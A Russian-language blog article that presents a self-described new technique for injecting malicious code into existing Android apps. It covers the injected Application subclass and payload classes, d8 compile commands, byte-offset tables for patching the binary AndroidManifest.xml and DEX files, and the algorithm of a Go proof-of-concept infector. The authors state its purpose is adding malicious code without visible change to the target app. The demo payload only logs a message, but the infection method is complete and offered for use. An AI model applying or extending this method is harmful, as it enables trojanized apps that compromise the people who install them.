tags: android - malware
Новый способ внедрения вредоносного кода в андроид приложения
- Предисловие
- Недостатки текущего подхода
- Описание нового подхода
- Преимущества нового подхода
- Выявление необходимых модификаций в AndroidManifest.xml и патчинг
- Создание файлов, для внедрения в целевое приложение
- Выявление необходимых модификаций в DEX и патчинг
- Результаты
- Ограничения нового подхода
- Дальнейшие улучшения PoC
- FAQ
Предисловие
Авторы идеи: Ербол & Thatskriptkid
Автор рисунка: @alphin.fault instagram
Автор статьи и proof-of-concept кода: Thatskriptkid
Целевая аудитория статьи - люди, которые имеют представление о текущем способе заражения андроид приложений через патчинг smali кода и хотят узнать о новом и более эффективном способе. Если вы не знакомы с текущей практикой заражения, то прочитайте мою статью - Воруем эцп, используя Man-In-The-Disk, глава - “Создаем payload”. Техника описанная здесь, полностью была придумана нами, в сети отсутствует какое-либо описание подобного способа.
Наш способ:
- Не использует баги или уязвимости андроида
- Не предназначен для крякинга приложений (удаление рекламы, лицензии и т.д.)
- Предназначен для добавления вредоносного кода, без какого-либо вмешательства в работу целевого приложения или его внешний вид.
Недостатки текущего подхода
Способ внедрения вредоносного кода, с помощью декодирования приложения до smali кода и его патчинг - является единственным и широко практикуемым на сегодняшний день. smali/backsmali - единственный инструмент, используемый для этого. На основе него строятся все известные инфекторы, например:
Малварь также использует smali/backsmali и патчинг. Схема работы трояна Android.InfectionAds.1:
Декодирование и патчинг предполагают изменение оригинального classesN.dex файла. Это приводит к двум проблемам:
- Выход за пределы лимита в 65536 методов в одном DEX файле, если вредоносного кода слишком много
- Приложение может проверять целостность DEX файлов
Декодирование/дизассемблирование DEX - это сложный процесс, требующий постоянного обновления и сильно зависящий от версии андроида.
Практически все доступные инструменты для заражения/модификации написаны на Java и/или зависят от JVM - это сильно сужает область использования и делает невозможным запуск инфектора на роутерах, встроенных системах, системах без JVM и т.д.
Описание нового подхода
В андроиде существует несколько типов запуска приложений, один из них называется cold start. Cold start - запуск приложения впервые.
Выполнение приложения начинается с создания Application объекта. Большинство андроид приложений имеют свой Application класс, который должен наследоваться от основного класса android.app.Applciation
. Пример класса:
package test.pkg;
import android.app.Application;
public class TestApp extends Application {
public TestApp() {}
@Override
public void onCreate() {
super.onCreate();
}
}
Класс test.pkg.TestApp
должен быть прописан в AndroidManifest.xml. Пример манифеста:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example">
<application
android:icon="@mipmap/ic_launcher"
android:label="Test"
android:roundIcon="@mipmap/ic_launcher_round"
android:name="test.pkg.TestApp">
</application>
</manifest>
Процесс запуска такого приложения:
Были определены основные требования к нашей технике заражения:
- Выполнение вредоносного кода, при старте приложения
- Сохранение всех этапов процесса запуска оригинального приложения
Внедрение вредоносного кода происходило в стадии алгоритма cold start:Application Object creation->Application Object Constructor. Был создан вредоносный Application класс, внедрен в приложение и прописан в AndroidManifest.xml, вместо изначального. Чтобы сохранять прежнюю цепочку выполнения, он был наследован от test.pkg.TestApp
.
Вредоносный Application класс:
package my.malicious;
import test.pkg;
public class InjectedApp extends TestApp {
public InjectedApp() {
super();
executeMaliciousPayload();
}
}
Модифицированный AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example">
<application
android:icon="@mipmap/ic_launcher"
android:label="Test"
android:roundIcon="@mipmap/ic_launcher_round"
android:name="my.malicious.InjectedApp">
</application>
</manifest>
Процесс запуска вредоносного кода внутри зараженного приложения (красным выделены модификации):
Примененные модификации:
- В приложение добавлен класс
my.malicious.InjectedApp
- В AndroidManifest.xml заменена строка
test.pkg.TestApp
наmy.malicious.InjectedApp
Преимущества нового подхода
Существует возможность применить необходимые модификации к APK:
- Без дизассемблирования/сборки DEX
- Без декодирования/кодирования манифеста
- Без внесения изменений в оригинальные DEX файлы
Данные факты позволяют заражать практически любое существующее приложение, без ограничений. Добавление своего класса и изменение манифеста работает намного быстрее, чем декодирование. Внедренный нашей техникой вредоносный код стартует сразу, а не по определенному событию, так как мы внедряемся в самое начало процесса запуска приложения. Описанная техника заражения не зависит от архитектуры и версии андроида (за небольшим исключением).
PoC для демонстрации был написан на Go и готов к расширению до полноценного инструмента. PoC компилируется в один целостный бинарный файл и не использует никаких зависимостей в рантайме. Использование Go позволяет, с помощью кросс-компиляции, собрать инфектор для практически любой архитектуры и ОС.
Тестирование приложений, зараженных PoC проводилось на:
NOX player 6.6.0.8006-7.1.2700200616, Android 7.1.2 (API 25), ARMv7-32
NOX player 6.6.0.8006-7.1.2700200616, Android 5.1.1 (API 22), ARMv7-32
Android Studio Emulator, Android 5.0 (API 21), x86
Android Studio Emulator, Android 7.0 (API 24), x86
Android Studio Emulator, Android 9.0 (API 28), x86_64
Android Studio Emulator, Android 10.0 (API 29), x86
Android Studio Emulator, Android 10.0 (API 29), x86_64
Android Studio Emulator, Android API 30, x86
Xiaomi Mi A1
Удалось удачно заразить огромное количество приложений (по понятным причинам имена скрыты). Удалось заразить приложения, которые не поддаются декодированию, с помощью smali/backsmali, а значит и любого существующего инструмента.
Выявление необходимых модификаций в AndroidManifest.xml и патчинг
Одной из модификаций, необходимой для заражения, является замена строки в AndroidManifest.xml. Существует возможность пропатчить строку, без декодирования/кодирования манифеста.
APK содержат манифест в бинарном, закодированном виде. Структура бинарного манифеста не документирована и представляет собой кастомный алгоритм кодирования XML от Google. Для удобства было создано описание на языке Kaitai Struct, которое может быть использовано, а качестве документации.
Структура AndroidManifest.xml (в скобках - размер в байтах):
Для определения изменений в манифесте, после патчинга оригинального имени Application класса на вредоносное, были разработаны два приложения, с разными имена классов. Приложения были собраны в APK и распакованы, для получения бинарных манифестов.
Пример оригинального манифеста, с именем Application - test.pkg.TestApp
:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.qoogle.service.outbound.thread.safe.eng.packages.packas.pack.level.random">
<application
android:icon="@mipmap/ic_launcher"
android:label="MinDEX"
android:roundIcon="@mipmap/ic_launcher_round"
android:name="test.pkg.TestApp">
</application>
</manifest>
Пример пропатченного манифеста, с именем Application - test.pkg.TestAppAAAAAAAAA
:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.qoogle.service.outbound.thread.safe.eng.packages.packas.pack.level.random">
<application
android:icon="@mipmap/ic_launcher"
android:label="MinDEX"
android:roundIcon="@mipmap/ic_launcher_round"
android:name="test.pkg.TestAppAAAAAAAAA">
</application>
</manifest>
Длина полного имени класса увеличилась на 9 символов. Оба файла были открыты в HexCmp, для получения диффа.
Изменения, которым подвергся манифест и объяснение причин:
field | offset | description | diff_count | explanation |
---|---|---|---|---|
header.file_len | 0x4 | Длина всего файла | 0x10 | В оригинальном манифесте было 0х2 байта выравнивания, в измененном они не требуются. Строки в бинарном манифесте хранятся в формате UTF-16, то есть один символ занимает 0x2 байта. Итого, мы увеличили строку на 9 символов (0x12 байт) минус 0x2 байта выравнивания, получаем разницу 0x10 байт |
header.string_table_len | 0xC | Длина массива строк | 0x10 | Строка находится в общем массиве строк. Объяснение разницы в 0x10 байт такая же как у header.file_len |
string_offset_table.offset | 0x7C | Оффсет до строки, следующей после измененной | 0x12 | В string_offset_table хранятся оффсеты до строк в массиве строк манифеста. Так как длина строки увеличилась, следующая за ней строка сдвинулась дальше на 0x12 байт. Выравниваниеи здесь не учитывается, так как оффсеты расположены до массива строк. |
field | offset | description | diff_count | explanation |
---|---|---|---|---|
strings.len | 0x2EA | Длина строки | 0x9 | Количество символов, на которое увеличилась строка |
В структуре манифеста, приведенной в начале, после strings
следует padding
, для выравнивания resource_header
. В оригинальном манифесте последняя строка uses-sdk
заканчивается
по оффсету 0x322
(оранжевым), а значит были добавлены два байта выравнивания (зеленым) для resource_header
В модифицированном варианте, string_table
заканчивается на оффсете 0x334
(оранжевым) и далее сразу следует resource_header
(красным), который не требует выравнивания.
Структура AndroidManifest.xml, с указанием полей, которые необходимо пропатчить, для замены имени оригинального Applciation класса на вредоносный (выделены красным):
Proof-of-Concept код, разработанный для статьи, реализовывает эти модификации в методе manifest.Patch()
.
Создание файлов, для внедрения в целевое приложение
Второй модификацией, необходимой для заражения, является внедрение класса, с вредоносным кодом. Для сохранения оригинальной цепочки запуска приложения, в него должен быть внедрен Application класс, родительским классом которого должен является оригинальный Applciation класс. На этапе подготовке внедряемых файлов, оно неизвестно. Поэтому, при создании класса, необходимо было использовать имя-заглушку z.z.z
.
Изначальное состояние приложения и внедряемого DEX:
После получения оригинального имени Application класса из манифеста, заглушка была пропатчена:
Процедура заражения завершается добавлением вредоносного DEX в целевое приложение:
Так как классы с вредоносным кодом могут иметь разный код, они были вынесены в отдельный DEX. Это также было сделано для упрощения процедуры патчинга заглушки.
Имена классов в DEX располагаются в алфавитном порядке. Имя Application класса целевого приложения может начинаться с любой буквы. Для предсказуемости порядка строк, после патчинга, имя заглушки было выбрано равным z.z.z
.
Для подготовки внедряемых файлов, был создан проект в Android Studio, с тремя классами.
Класс InjectedApp
. Его полное имя:
aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp
Это имя должно удовлетворять двум правилам:
-
Оно должно быть длиннее любого имени Application класса любого целевого приложения
-
Оно должно быть выше в алфавитном порядке любого имени Application класса любого приложения
Класс InjectedApp
, который будет выполняться вместо Application class целевого приложения:
package aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa;
import aaaaaaaaaaaa.payload;
import z.z.z;
public class InjectedApp extends z {
public InjectedApp() {
super();
payload p = new payload();
p.executePayload();
}
}
Задача класса начать выполнение вредоносного кода, который находится в другом DEX:
payload p = new payload();
p.executePayload();
Класс payload
содержит вредоносный код:
package aaaaaaaaaaaa;
import android.util.Log;
public class payload {
public void executePayload() {
Log.i("HELL", "Hello, I'm a malicious payload");
}
}
Полное имя класса должно удовлетворять следующему правилу:
- Оно должно быть выше по алфавиту любого имени класса Application любого приложения
Для внедрения произвольного вредоносного кода необходимо создать DEX файл, который должен соблюдать условия:
- Содержать класс с именем:
aaaaaaaaaaaa.payload
- Класс должен содержать метод
public void executePayload()
Класс-заглушка z.z.z
, полное имя которого будет пропатчено на полное имя Applciation класса целевого приложения.
package z.z;
import android.app.Application;
public class z extends Application {
}
Класс должен соблюдать условие:
- Полное имя класса должно быть ниже по алфавиту полных имен классов
InjectedApp
иpayload
. - Полное имя класса должно быть короче любых полных имен Application классов любых приложений.
В соответствии с разработанной схемой внедрения, классы InjectedApp
и payload
были скомпилированы в отдельные DEX. Для этого в Android Studio была выполнена сборка APK командой Android Studio->Generate Signed Bundle/APK->release
. Скомпилированные .class файлы создались в папке app\build\intermediates\javac\release\classes
.
Компилирование .class файлов в DEX, с помощью d8:
d8 --release --min-api 16 --no-desugaring InjectedApp.class --output .
d8 --release --min-api 16 --no-desugaring payload.class --output .
Получившиеся DEX должны быть добавлены в целевое приложение.
Выявление необходимых модификаций в DEX и патчинг
После патчинга заглушки z.z.z
на полное имя Application класса целевого приложения, структура DEX изменится. Для выявления модификаций, в Android Studio было создано два приложения с именами классов разной длины.
Класс InjectedApp
, наследуемый от z.z.z
, в первом приложении:
package aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa;
import aaaaaaaaaaaa.payload;
import z.z.z;
public class InjectedApp extends z {
public InjectedApp() {
super();
payload p = new payload();
p.executePayload();
}
}
Класс InjectedApp
, наследуемый от z.z.zzzzzzzzzzzzzzzz
во втором приложении:
package aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa;
import aaaaaaaaaaaa.payload;
import z.z.z;
public class InjectedApp extends zzzzzzzzzzzzzzzz {
public InjectedApp() {
super();
payload p = new payload();
p.executePayload();
}
}
Длина имени класса увеличилась на 15 символов. Компилируем оба класса отдельно в DEX:
d8 --release --min-api 16 --no-desugaring InjectedApp.class --output .
Откроем получившиеся DEX в программе HexCMP:
Официальная документация по структуре DEX
field | offset | description | diff_count | explanation |
---|---|---|---|---|
header_item.checksum | 0x8 | Контрольная сумма | full | При любом изменении DEX контрольная сумма пересчитывается |
header_item.signature | 0xC | Хэш | full | При любом изменении DEX хэш пересчитывается |
header_item.file_size | 0x20 | Размер файла | 0x10 | Размер строки увеличился на 0xF, плюс 0x1 байт выравнивания |
header_item.map_off | 0x34 | оффсет до map | 0x10 | map находится после массива строк, поэтому оффсет был увеличен, с учетом выравнивания |
header_item.data_size | 0x68 | размер data секции | 0x10 | Data секция находится после массива строк, поэтому оффсет был увеличен, с учетом выравнивания |
map.class_def_item.class_data_off | 0xE8 | оффсет до данных класса | 0xF | Данная структура не требует выравнивания, поэтому значение увеличилось на количество добавленных символов |
map_list.debug_info_item | 0x114 | debug информация | Не важно | Поле хранит данные, необходимые для корректного вывода, при краше. Поле можно игнорировать |
field | offset | description | diff_count | explanation |
---|---|---|---|---|
string_data_item.utf16_size | 0x1B3 | размер строки | 0xF | Строки в DEX хранятся в формате MUTF-8, где один символ занимает 1 байт |
Изменения в конце файла:
field | offset | description | diff_count | explanation |
---|---|---|---|---|
map.class_data_item.offset | 0x29C | оффсет до class_data_item | 0xF | Структура class_data_item следует сразу за массивом строк и не требует выравнивания |
map.annotation_set_item.entries.annotation_off_item | 0x2A8 | оффсет до аннотаций | 0x10 | Выравнивание учитывается |
map.map_list.offset | 0x2B4 | оффсет до map_list | 0x10 | Выравнивание учитывается |
Proof-of-Concept код, разработанный для статьи, реализовывает эти модификации в методе mydex.Patch()
.
Результаты
Для применения необходимых модификаций, был разработан PoC, который работает по алгоритму:
- Распаковывание файлов APK
- Парсинг AndroidManifest.xml
- Нахождение имени Application класса
- Патчинг оригинального имени Application на
aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp
в AndroidManifest.xml - Патчинг заглушки
z.z.z
на оригинальное имя Application класса - Добавление в APK двух DEX (один с InjectedApp Application классом, второй с вредоносными классами)
- Запаковывание всех файлов в новый APK
Ограничения нового подхода
Данная техника не будет работать с приложениями, удовлетворяющие всем условиям одновременно:
- minSdkVersion <= 20
- Не используют в зависимостях библиотеку
androidx.multidex:multidex
илиcom.android.support:multidex
- Запускаются на андроиде версии меньше, чем Android 5.0 (API level 21)
или если класс Application оригинального приложения имеет модификатор final
. В этом случае ошибка будет выглядеть следующим образом (пример):
07-05 06:37:07.759 11446 11446 E AndroidRuntime: java.lang.IncompatibleClassChangeError: Superclass xxx.App of aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp is declared final (declaration of 'aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp' appears in /data/app/xxxx-sPY0UxWPhWrZuzj1iXsaEQ==/base.apk:classes4.dex)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at java.lang.VMClassLoader.findLoadedClass(Native Method)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at java.lang.ClassLoader.findLoadedClass(ClassLoader.java:738)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at java.lang.ClassLoader.loadClass(ClassLoader.java:363)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at java.lang.ClassLoader.loadClass(ClassLoader.java:312)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at android.app.Instrumentation.newApplication(Instrumentation.java:1086)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at android.app.LoadedApk.makeApplication(LoadedApk.java:965)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at android.app.ActivityThread.handleBindApplication(ActivityThread.java:5765)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at android.app.ActivityThread.-wrap1(Unknown Source:0)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1661)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at android.os.Handler.dispatchMessage(Handler.java:105)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at android.os.Looper.loop(Looper.java:164)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at android.app.ActivityThread.main(ActivityThread.java:6541)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at java.lang.reflect.Method.invoke(Native Method)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at com.android.internal.os.Zygote$MethodAndArgsCaller.run(Zygote.java:240)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:767)
Тем самым предполагается, что приложение имеет один DEX файл. Ограничение применимо из-за того, что версии андроида до Android 5.0 (API level 21) используют виртуальную машину Dalvik, для запуска кода. По умолчанию, Dalvik воспринимает только один DEX файл в APK. Чтобы обойти это ограничение, необходимо использовать вышеприведенные библиотеки. Версии андроида после Android 5.0 (API level 21), вместо Dalvik, используют систему ART, которая нативно поддерживает несколько DEX файлов в приложении, так как при установке приложения она прекомпилирует все DEX в один .oat файл. Подробности написаны в официальной документации.
Дальнейшие улучшения PoC
- Если у приложения нет своего Application класс, то необходимо добавлять
InjectedApp
в AndroidManifest.xml - Добавление в AndroidManifest.xml своих тегов
- Подписание APK
- Избавление от декодирования AndroidManifest.xml
FAQ
Q: Почему бы не использовать в полном имени InjectedApp символы подчеркивания, тем самым оно практически гарантировано будет по алфавиту выше любого имени Application класса целевого приложения?
A: Технически это возможно, но возникнут проблемы в Android 5 и будет следующая ошибка:
D/AndroidRuntime( 3891): Calling main entry com.android.commands.pm.Pm
D/DefContainer( 3414): Copying /mnt/shared/App/20200629234847850.apk to base.apk
W/PackageManager( 1802): Failed parse during installPackageLI
W/PackageManager( 1802): android.content.pm.PackageParser$PackageParserException: /data/app/vmdl1642407162.tmp/base.apk (at Binary XML file line #48): Bad class name ________.__________._0000000000000000000000000000000000000000000000000000000000000000.InjectedApp in package XXXXXXXXXXXXXXXXXXXXXX
W/PackageManager( 1802): at android.content.pm.PackageParser.parseBaseApk(PackageParser.java:885)
W/PackageManager( 1802): at android.content.pm.PackageParser.parseClusterPackage(PackageParser.java:790)
W/PackageManager( 1802): at android.content.pm.PackageParser.parsePackage(PackageParser.java:754)
W/PackageManager( 1802): at com.android.server.pm.PackageManagerService.installPackageLI(PackageManagerService.java:10816)
W/PackageManager( 1802): at com.android.server.pm.PackageManagerService.access$2300(PackageManagerService.java:236)
W/PackageManager( 1802): at com.android.server.pm.PackageManagerService$6.run(PackageManagerService.java:8888)
W/PackageManager( 1802): at android.os.Handler.handleCallback(Handler.java:739)
W/PackageManager( 1802): at android.os.Handler.dispatchMessage(Handler.java:95)
W/PackageManager( 1802): at android.os.Looper.loop(Looper.java:135)
W/PackageManager( 1802): at android.os.HandlerThread.run(HandlerThread.java:61)
W/PackageManager( 1802): at com.android.server.ServiceThread.run(ServiceThread.java:46)
Q: Почему бы вместо внедрения своего Application класса, не внедрять свой Activity и прописывать его в манифесте, вместо основного, ведь оно также стартует самым первым? Да, при таком способе payload выполнится чуть позже, но это не критично.
A: В этом подходе есть две проблемы. Первая - существуют приложения, которые используют в манифесте очень много тегов activity-alias, которые ссылаются на имя основного активити. В этом случае нам придется патчить не одну строку в манифесте, а несколько. Также это затрудняет парсинг и нахождение имени нужного Activity. Вторая - основной Activity запускается в главном UI потоке, что накладывает некоторые ограничения на вредоносный код.
Q: Но ведь в Application классе нельзя использовать сервисы. Какой может быть вредоносный код без сервисов?
A: Во-первых, это ограничение введено в версии андроида, начиная с API 25. Во-вторых, это ограничение касается андроид приложений в целом, а не конкретно Application класса. В третьих, сервисы использовать можно, но не обычные, а foreground.
Q: Ваш PoC не работает
A: В этом случае удостоверьтесь, что:
- Оригинальное приложение работает
- Все пути к файлам в PoC корректны
- В apkinfector.log нету ничего необычного
- Имя оригинального Application класса в пропатченном InjectedApp.dex действительно находится на своем месте
- Целевое приложение использует свой Application класс. Иначе, неработоспособность PoC - предсказуема
Если ничего не помогло, то попробуйте поиграть с параметром --min-api
, когда компилируете классы.
Если ничего не помогло, то создайте issue на github.
Q: Почему для заражения был выбран конструктор Application, а не метод OnCreate()?
A: Дело в том, что существуют приложения, у которых Application класс содержит метод OnCreate() с модификатором final. Если вы подложите свой Application с OnCreate(), то андроид выдаст ошибку:
06-28 07:27:59.770 2153 4539 I ActivityManager: Start proc 6787:xxxxxxxxx/u0a46 for activity xxxxxxxxx/.Main
06-28 07:27:59.813 6787 6787 I art : Rejecting re-init on previously-failed class java.lang.Class<InjectedApp>:
java.lang.LinkageError: Method void InjectedApp.onCreate() overrides final method in class LX/001;
(declaration of 'InjectedApp' appears in /data/app/xxxxxxxxx-1/base.apk:classes2.dex)
Причины ошибки тут
if (super_method->IsFinal()) {
ThrowLinkageError(klass.Get(), "Method %s overrides final method in class %s",
virtual_method->PrettyMethod().c_str(),
super_method->GetDeclaringClassDescriptor());
return false;
}
Андроид увидит, что super method - final и выдаст ошибку.
В Java, если вы не создали никакого конструктора, то компилятор создаст его за вас (без параметров). Если же вы создали конструктор с параметрами, то конструктор без параметров автоматически не создается. Так как мы вызываем конструктор без параметров, то вы можете подумать, что возникнет проблема, если app class целевого приложения содержит констурктор с параметрами. Но нет, именно для Application классов, андроид требует чтобы был дефолтный констурктор. Иначе вы получаете такую ошибку
06-28 08:51:54.647 8343 8343 D AndroidRuntime: Shutting down VM
06-28 08:51:54.647 8343 8343 E AndroidRuntime: FATAL EXCEPTION: main
06-28 08:51:54.647 8343 8343 E AndroidRuntime: Process: xxxxxxxxx, PID: 8343
06-28 08:51:54.647 8343 8343 E AndroidRuntime: java.lang.RuntimeException: Unable to instantiate application xxxxxxxxx.AppShell: java.lang.InstantiationException: java.lang.Class<xxxxxxxxx.AppShell> has no zero argument constructor
06-28 08:51:54.647 8343 8343 E AndroidRuntime: at android.app.LoadedApk.makeApplication(LoadedApk.java:802)